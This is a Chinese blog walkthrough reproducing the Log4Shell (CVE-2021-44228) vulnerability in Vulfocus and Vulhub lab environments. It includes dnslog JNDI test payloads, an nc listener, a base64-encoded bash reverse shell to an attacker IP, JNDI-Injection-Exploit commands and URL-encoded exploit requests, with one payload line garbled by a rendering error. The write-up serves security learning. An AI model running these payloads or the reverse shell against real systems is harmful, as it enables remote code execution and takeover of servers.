• Vulfocus复现log4j2和vulhub复现log4j2(CVE-2021-44228)



    Vulfocus复现log4j2


    log4j2漏洞介绍

    • 漏洞原理:由于Log4j2组件在处理程序日志记录时存在JNDI注入缺陷,未经授权的攻击者利用该漏洞,可向目标服务器发送精心构造的恶意数据,触发Log4j2组件解析缺陷,实现目标服务器的任意代码执行,获得目标服务器权限。
    • 漏洞修复: log4j2基于jdk1.8,将jdk升级为1.9及以上即可防御、打修复补丁、关闭jndi服务
    • 攻击机环境的jdk环境可以是任意的,但要根据自己的环境选择生成的payload(rmi或者ldap)
    • Log4j2基础:Log4j 是一款开源 Java 日志记录工具。日志记录主要用来监视代码中变量的变化情况,周期性的记录到文件中供其他应用进行统计分析工作;跟踪代码运行时轨迹,作为日后审计的依据;担当集成开发环境中的调试器的作用,向文件或控制台打印代码的调试信息。
    • Apache Log4j2是一款优秀的Java日志框架,被各类Java框架广泛地使用。
    • Jndi基础:JNDI(Java Naming and Directory Interface,Java命名和目录接口),是Java提供的一个目录服务应用程序接口(API),它提供一个目录系统,并将服务名称与对象关联起来,从而使得开发人员在开发过程中可以使用名称来访问对象 。
    • JNDI由三部分组成:JNDI API、Naming Manager(将服务名称和对象关联起来,前端只知道名字然后通过其去执行后台的程序)、JNDI SPI。
    • JNDI API是应用程序调用的接口,
    • JNDI SPI是具体实现,应用程序需要指定具体实现的SPI。

    vulfocus靶场安装

    1.拉取vulfocus官方docker容器

    • (1) 启动docker服务

    • systemctl start docker

    • (2) 拉取vulfocus靶场

    • docker pull vulfocus/vulfocus:latest
      在这里插入图片描述
      在这里插入图片描述

    • (3) 启动vulfocus靶场

    • docker run -d -p 80:80 -v /var/run/docker.sock:/var/run/docker.sock -e VUL_IP=192.168.21.135 vulfocus/vulfocus

    • 访问localhost或虚拟机ip即可

    • 用户名admin 密码admin
      在这里插入图片描述

    • docker ps 查看Vulfocus是否启动

    • systemctl stop firewalld 记得关闭防火墙
      在这里插入图片描述
      在这里插入图片描述
      在这里插入图片描述

    2.下载vulfocus离线包,docker-compose启动

    • (1) 启动docker服务
    • systemctl start docker
    • (2) 下载vulfocus靶场
    • https://github.com/fofapro/vulfocus vulfocus项目地址
    • git clone https://github.com/fofapro/vulfocus.git vulfocus-master 下载vulfocus
      在这里插入图片描述
    • (3) 启动vulfocus
    • cd vulfocus-master 进入vulfocus-master目录下
    • docker-compose up -d 使用docker-compose拉取启动vulfocus靶场
      在这里插入图片描述
      在这里插入图片描述
      在这里插入图片描述
      在这里插入图片描述
    • 访问localhost或虚拟机IP
    • 如果访问出现404服务器错误,可以尝试setenforce 0然后重启docker即可访问
    • 用户名admin 密码admin
      在这里插入图片描述在这里插入图片描述

    Vulfocus靶场启动log4j2场景

    • 下载log4j2镜像在左侧镜像管理里搜索log4j2进行下载
      在这里插入图片描述在这里插入图片描述

    • 再次点击下载,查看下载进度
      在这里插入图片描述在这里插入图片描述在这里插入图片描述

    • 访问地址:192.168.8.154:25019
      在这里插入图片描述在这里插入图片描述


    用dnslog来测试是否有漏洞

    • (1)dnslog原理

    DNSlog就是储存在DNS上的域名相关的信息,它记录着你对域名或者IP的访问信息,也就是类似于日志文件。
    首先了解一下多级域名的概念,我们知道因特网采用树状结构命名方法,按组织结构划分域是一个名字空间中一个被管理的划分,域可划分为子域,子域再可被划分为多级域名称为一级域名,二级域名,三级域名,从一个域名地址来从右到左依次是顶级域名,二级域名,三级域名,例如
    gaobai.kxsy.com,通俗的说就是我有个域名kxsy.work,我将域名设置对应的ip 2.2.2.2
    上,这样当我向dns服务器发起kxsy.work的解析请求时,DNSlog中会记录下他给kxsy.work解析,解析值为2.2.2.2,而我们这个解析的记录的值就是我们要利用的地方,这个过程被记录下来就是DNSlog。

    • (2)在线的dnslog平台

    • http://www.dnslog.cn

    • http://ceye.io

    • http://dnslog.pw/login

    • (3)利用dnslog测试是否有漏洞

    • http://192.168.8.154:25019/hello?payload=${jndi:ldap://1pdzy7.dnslog.cn/exp}

    • 将payload后的命令进行url编码后进行访问,得到回显
      在这里插入图片描述在这里插入图片描述在这里插入图片描述

    • 查看得到回显确认存在漏洞
      在这里插入图片描述


    利用jndi注入工具在攻击机上开启jndi服务器

    • 攻击机kali(192.168.8.155 ) 开始nc监听7777端口

    • nc -lvvp 7777
      在这里插入图片描述

    • bash -i >& /dev/tcp/192.168.8.155/7777 0>&1 反弹shell命令

    • YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjguMTU1Lzc3NzcgMD4mMQ== base64编码
      在这里插入图片描述

    这个安装在kali上面的jndi服务器是利用JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar来启动起来的,启动参数包括-C是执行的bash命令,-c参数后面是执行的具体命令,用双引号引起来 -A 指服务器的IP,这里注意已经把反弹shell命令用base64编码

    • java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C bash -c "{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjguMTU1Lzc3NzcgMD4mMQ==}|{base64,-d}|{bash,-i}" -A 192.168.8.155
    • 执行命令之后 生成可用payload
      在这里插入图片描述
    • 利用payload开始攻击,获得反弹shell
    • rmi://192.168.8.155:1099/xnkw4m
      在这里插入图片描述
    • ${jndi:rmi://192.168.8.155:1099/xnkw4m}
    • http://192.168.8.154:25019/hello?payload=${jndi:rmi://192.168.8.155:1099/xnkw4m}
    • %24%7b%6a%6e%64%69%3a%72%6d%69%3a%2f%2f%31%39%32%2e%31%36%38%2e%38%2e%31%35%35%3a%31%30%39%39%2f%78%6e%6b%77%34%6d%7d
      在这里插入图片描述
    • http://192.168.8.154:39277/hello?payload=%24%7b%6a%6e%64%69%3a%72%6d%69%3a%2f%2f%31%39%32%2e%31%36%38%2e%38%2e%31%35%35%3a%31%30%39%39%2f%78%6e%6b%77%34%6d%7d
      在这里插入图片描述在这里插入图片描述
    • 返回监听查看,我们已经拿到shell了,然后利用find命令查找获得flag值
    • find / -name flag*
    • flag-{bmh1acf67ad-fe35-421b-a64b-6440c0ca55b7}
      在这里插入图片描述在这里插入图片描述

    Vulhub复现log4j2(CVE-2021-44228)

    比如log4j2用dnslog测试是否有洞 找到靶场的注入点,我们可以发现/solr/admin/cores?这里有个参数可以传参数
    利用dnslog构造pyload来判断是否存在log4j2漏洞,用dnslog为ceye.io
    构造的pyload:cores?action=KaTeX parse error: Expected '}', got 'EOF' at end of input: {jndi:ldap://{sys:java.version}.i913n8.ceye.io}
    DNSLog辅助命令盲注回显在攻击不回显漏洞时大有作用,这能够帮助攻击者确定漏洞是否存在、是否能被进一步利用。
    当然还有structs2-052漏洞利用dnslog回显判定是否有漏洞


    查看是否存在log4j2漏洞

    • 1.进入vulhub找到log4j,进入CVE-2021-44228目录下

    • docker-compose up -d
      在这里插入图片描述在这里插入图片描述

    • docker ps查看靶机是否启动
      在这里插入图片描述

    • 2.访问地址192.168.8.152:8983
      在这里插入图片描述

    • 3.利用dnslog构造pyload来判断是否存在log4j2漏洞,利用burp抓包随意抓包,现在[dnslog.cn](http://dnslog.cn/)上获得一个域名
      在这里插入图片描述

    • 将请求包内容改成如下

    • admin/cores?action=${jndi:ldap://${sys:java.version}.l92fod.dnslog.cn}
      在这里插入图片描述

    • 可以看到确实存在log4j2漏洞
      在这里插入图片描述


    利用漏洞反弹shell

    • 推荐https://github.com/Mr-xn/JNDIExploit-1 工具

    • 反弹shell需要使用JNDIExploit.v1.2

    • 使用 JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar 工具,执行以下命令:

    • java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C bash -c "{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjguMTU1Lzc3NzcgMD4mMQ==}|{base64,-d}|{bash,-i}" -A 192.168.8.155
      在这里插入图片描述
      在这里插入图片描述

    • 根据官方文件可以得知 Collections 的调用参数
      在这里插入图片描述

    • 我们可以设想通过可控的 Collections 来进行 JNDI注入,路径为/solr/admin/collections?action=1
      在这里插入图片描述

    • ${jndi:rmi://192.168.8.155:1099/gkuohu}

    • 这里得到回显,但是我监听不到,可能是跟我的java环境11有关系
      在这里插入图片描述
      在这里插入图片描述在这里插入图片描述

  • 相关阅读:
    算法之排序
    售后服务管理升级要怎么做?如何用好售后工单管理系统?
    Python小练习四
    vmware安装centos7
    七大排序--万字详解
    Windows 下 Git 拉 Gitlab 代码
    使用Spring Reactor优化推荐流程
    敏捷整洁之道
    一文吃透 Go 内置 RPC 原理
    行情分析——加密货币市场大盘走势(10.17)
  • 原文地址:https://blog.csdn.net/weixin_46065653/article/details/127332700